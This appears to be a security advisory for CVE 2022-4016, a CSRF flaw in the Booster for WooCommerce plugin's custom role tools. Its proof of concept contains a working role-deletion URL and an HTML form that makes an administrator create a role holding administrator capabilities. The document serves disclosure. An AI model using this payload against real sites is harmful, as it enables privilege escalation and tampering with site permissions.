Booster for WooCommerce – Custom Role Creation/Deletion via CSRF | CVE 2022-4016

Description

The plugins does not properly check for CSRF when creating and deleting Customer roles, allowing attackers to make logged admins create and delete arbitrary custom roles via CSRF attacks

Proof of Concept

To delete the custom role dj (it's possible to delete roles created by other plugins), make a logged in admin open https://example.com/wp-admin/admin.php?page=wcj-tools&tab=custom_roles&wcj_delete_role=dj

To create a custom role, make a logged in admin open a page containing the HTML code below

<form action="https://example.com/wp-admin/admin.php?page=wcj-tools&tab=custom_roles" method="POST">
    <input type="text" name="wcj_custom_role_id" value="via-csrf">
    <input type="text" name="wcj_custom_role_name" value="attacker">
    <input type="text" name="wcj_custom_role_caps" value="administrator">
    <input type="submit" name="submit" value="submit">
</form>